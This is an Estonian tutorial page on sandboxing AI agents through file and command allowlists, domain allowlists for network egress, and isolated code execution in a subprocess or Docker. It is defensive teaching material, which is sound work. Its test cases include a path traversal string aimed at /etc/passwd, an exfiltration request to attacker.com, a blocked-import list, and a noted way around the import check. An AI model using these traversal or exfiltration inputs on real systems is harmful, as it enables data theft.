Liivakast ja isoleerimine
Sellel lehel
Miks AI-agente isoleerida?
AI-agent, mis käivitab koodi või kutsub tööriistu, on fundamentaalselt erinev lihtsast vestlusrobotist. Kompromiteeritud vestlusrobot tekitab halvimal juhul piinliku vastuse; kompromiteeritud agent tegutseb – ta saab käivitada süsteemikäsklusi, lugeda tundlikke faile või suhelda välisteenustega. Kõik seni käsitletud kaitsemeetmed püüdsid kompromiteerimist ära hoida. Liivakast muudab lähenemist: see eeldab, et kompromiteerimine toimub varem või hiljem, ja keskendub sellele, mida ründaja saab teha pärast sisenemist. See on fundamentaalne muutus, mistõttu liivakast ei asenda ühtegi eelmist kihti.
1. tase: Piira ressursijuurdepääsu
Esimene tase rakendab vähimate õiguste printsiipi failidele ja käsklustele. Võtmeks on funktsiooni resolve() kasutamine enne võrdlemist: ilma selleta algaks tee nagu /data/app/uploads/../../etc/passwd lubatud kataloogist ja läbiks naiivse prefiksi kontrolli. Reaalse tee lahendamine nurjab selle läbimise, mis on endiselt üks levinumaid rünnakuid agente vastu, mis manipuleerivad failidega.
import os
from pathlib import Path
class SandboxPermissions:
"""Controls access permissions to resources."""
def __init__(self, allowed_folder: str, allowed_commands: list[str]):
self.allowed_folder = Path(allowed_folder).resolve()
self.allowed_commands = set(allowed_commands)
def verify_path(self, path: str) -> bool:
"""Verifies that a path is within the allowed folder."""
resolved_path = Path(path).resolve()
try:
resolved_path.relative_to(self.allowed_folder)
return True
except ValueError:
return False
def verify_command(self, command: str) -> bool:
"""Verifies that a command is in the allowlist."""
cmd_base = command.split()[0] if command else ""
return cmd_base in self.allowed_commands
def read_file(self, path: str) -> str:
"""Secure reading with path verification."""
if not self.verify_path(path):
raise PermissionError(
f"Access denied: {path} is outside the allowed folder"
)
return Path(path).read_text()
# Usage
sandbox = SandboxPermissions(
allowed_folder="/data/app/uploads",
allowed_commands=["ls", "cat", "wc"],
)
# OK: file in allowed folder
try:
content = sandbox.read_file("/data/app/uploads/report.txt")
except PermissionError as e:
print(f"Blocked: {e}")
# Blocked: path traversal attempt
try:
content = sandbox.read_file("/data/app/uploads/../../etc/passwd")
except PermissionError as e:
print(f"Blocked: {e}")
Käsklused järgivad sama loogikat, kasutades lubatud nimekirja (allowlist) keelatud nimekirja (blocklist) asemel. Asümmeetria on otsustav: keelatud nimekiri sunnib sind ette kujutama iga ohtlikku käsklust – ülesanne, mille sa kaotad –, samas kui lubatud nimekiri nõuab ainult nende tegevuste loetlemist, mida agent tegelikult vajab, sageli vaid kolm või neli käsklust.
2. tase: Kontrolli väljuvat liiklust
Võrgu isoleerimine käsitleb varem arutatud andmete varastamise stsenaariumi. Niikaua kui agent saab saata HTTP-päringu ükskõik millisele domeenile, võib iga tema puudutatud andmestik sinu perimeetrist lahkuda ja väljuv liiklus näeb välja nagu tavaline rakenduse liiklus. Sihtkohtade piiramine selge nimekirjaga muudab andmete varastamise katse logitud erandiks.
import subprocess
class NetworkSandbox:
"""Controls the agent's network communications."""
def __init__(self, allowed_domains: list[str]):
self.allowed_domains = set(allowed_domains)
def is_allowed_request(self, url: str) -> bool:
"""Verifies that a URL is in the allowlist."""
from urllib.parse import urlparse
domain = urlparse(url).hostname
return domain in self.allowed_domains
def secure_fetch(self, url: str) -> str:
"""HTTP request with domain verification."""
if not self.is_allowed_request(url):
raise PermissionError(f"Domain not allowed: {url}")
import urllib.request
with urllib.request.urlopen(url, timeout=10) as resp:
return resp.read().decode()
sandbox_net = NetworkSandbox(
allowed_domains=["api.openai.com", "api.anthropic.com"]
)
# OK
try:
sandbox_net.secure_fetch("https://api.openai.com/v1/models")
except PermissionError as e:
print(e)
# Blocked: exfiltration to an external domain
try:
sandbox_net.secure_fetch("https://attacker.com/collect")
except PermissionError as e:
print(f"Blocked: {e}")
3. tase: Käivita kood usaldamata seda masinaga
Mudeli kirjutatud koodi käivitamine on kõige delikaatsem juhtum. Allpool toodud implementatsioon ühendab kolm kaitset: impordi kontroll enne käivitamist, mälupiirangud ja protsessoriaja piirangud, mis on määratud skripti sees, ning keskkonna taandamine miinimumini alamprotsessi käivitamisel.
Impordi kontrolli osas on vajalik hoiatus. See tugineb tekstiotsingule ja ettevaatlik ründaja suudab sellest mööda hiilida – __import__("os") ei sisalda otsitavat stringi. Käitle seda kontrolli kui turvapiirdet vigade ja naiivsete katsete vastu, mitte kunagi kui turvapiiri. Tegelikuks piiriks on isoleeritud protsess koos oma ressursipiirangutega.
import subprocess
import tempfile
import os
class ExecutionSandbox:
"""Executes model-generated code in an isolated environment."""
def __init__(self, timeout: int = 10, max_memory_mb: int = 256):
self.timeout = timeout
self.max_memory = max_memory_mb
def execute_python(self, code: str) -> dict:
"""Executes Python code in an isolated process."""
# Security checks before execution
dangerous_imports = ["os", "subprocess", "shutil", "socket", "requests"]
for imp in dangerous_imports:
if f"import {imp}" in code or f"from {imp}" in code:
return {
"success": False,
"error": f"Forbidden import: {imp}",
"output": "",
}
# Create a temporary file
with tempfile.NamedTemporaryFile(
mode="w", suffix=".py", delete=False
) as f:
# Add restrictions at the start of the script
wrapper = f"""
import resource
import sys
# Limit memory
resource.setrlimit(resource.RLIMIT_AS, ({self.max_memory * 1024 * 1024}, {self.max_memory * 1024 * 1024}))
# Limit CPU time
resource.setrlimit(resource.RLIMIT_CPU, ({self.timeout}, {self.timeout}))
# User code
{code}
"""
f.write(wrapper)
temp_file = f.name
try:
result = subprocess.run(
["python3", temp_file],
capture_output=True,
text=True,
timeout=self.timeout,
env={"PATH": "/usr/bin", "HOME": "/tmp"},
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000] if result.returncode != 0 else "",
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout exceeded", "output": ""}
finally:
os.unlink(temp_file)
# Usage
sandbox = ExecutionSandbox(timeout=5, max_memory_mb=128)
# OK: simple calculation
result = sandbox.execute_python("print(sum(range(100)))")
print(result) # {"success": True, "output": "4950\n", "error": ""}
# Blocked: system access attempt
result = sandbox.execute_python("import os; os.listdir('/')")
print(result) # {"success": False, "error": "Forbidden import: os"}
Tootmiskeskkonna juhtudel pakub Docker robustsemat isoleerimist, kuna see ei tugine enam käivitatava koodi koostööle. Iga käsu valik sulgeb kindla ukse: --network=none eemaldab igasuguse võimaluse võrgu kaudu andmeid varastada, --read-only takistab püsivust, --memory ja --cpus piiravad tarbimist, --tmpfs annab ajutise ja piiratud tööruumi ning --security-opt=no-new-privileges keelab eskaleerumise käivitamise ajal. Lipp --rm hävitab konteineri lõpus, garanteerides, et ükski olek ei säili ühest käivitusest teise.
class DockerSandbox:
"""Executes code in an ephemeral Docker container."""
def __init__(self, image: str = "python:3.12-slim"):
self.image = image
def execute(self, code: str, timeout: int = 10) -> dict:
"""Executes code in an isolated container."""
cmd = [
"docker", "run", "--rm",
"--network=none", # No network
"--memory=256m", # Memory limit
"--cpus=0.5", # CPU limit
"--read-only", # Read-only filesystem
"--tmpfs=/tmp:size=50m", # Limited temporary space
"--security-opt=no-new-privileges",
self.image,
"python3", "-c", code,
]
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=timeout
)
return {
"success": result.returncode == 0,
"output": result.stdout[:5000],
"error": result.stderr[:2000],
}
except subprocess.TimeoutExpired:
return {"success": False, "error": "Timeout", "output": ""}
Õige taseme valimine
Kõigi kolme taseme virnastamine lihtsa KKK-vestlusroboti jaoks on kulukas ja ebavajalik, samas kui ainult esimesele tasemele tuginemine koodi käitava agendi puhul tähendab mitte millegi kaitsmist. Allpool olev tabel annab lähtepunkti; kohanda seda juurdepääsetavate andmete tundlikkuse põhjal, mis on sageli olulisem kui agendi keerukus.
| Stsenaarium | Soovitatav tase |
|---|---|
| Lihtne KKK-vestlusrobot | Õigused (1. tase) |
| API-juurdepääsuga agent | Õigused + Võrk (1.–2. tase) |
| Koodi käivitav agent | Täielik Docker (3. tase) |
| Mitme kasutajaga agent | Docker + seansi isoleerimine |
Sõltumata valitud tasemest, testi seda nii, nagu testiksid funktsionaalsust. Liivakast, mille paigaldad ja unustad, degradeerub vaikselt aja jooksul – lisatud sõltuvus, ajutiselt ühendatud köide, veaotsinguks avatud domeen. Käivita tee läbimise ja keelatud domeenide teste iga agendi uuendusega: liivakasti möödahiilimine ei ole väike anomaalia, see on kriitiline intsident.
Peamised punktid
- Liivakast on hädavajalik niipea, kui agendil on juurdepääs tööriistadele või ta käivitab koodi
- Kolm isoleerimise taset: õigused, võrk, konteiner – kombineeri vastavalt riskile
- Vähimate õiguste printsiip kehtib iga ressursi kohta: failid, võrk, käsud
- Docker koos
--network=noneja--read-onlypakub kõige robustsemat isoleerimist - Isoleerimist tuleb regulaarselt testida – liivakasti möödahiilimine on kriitiline intsident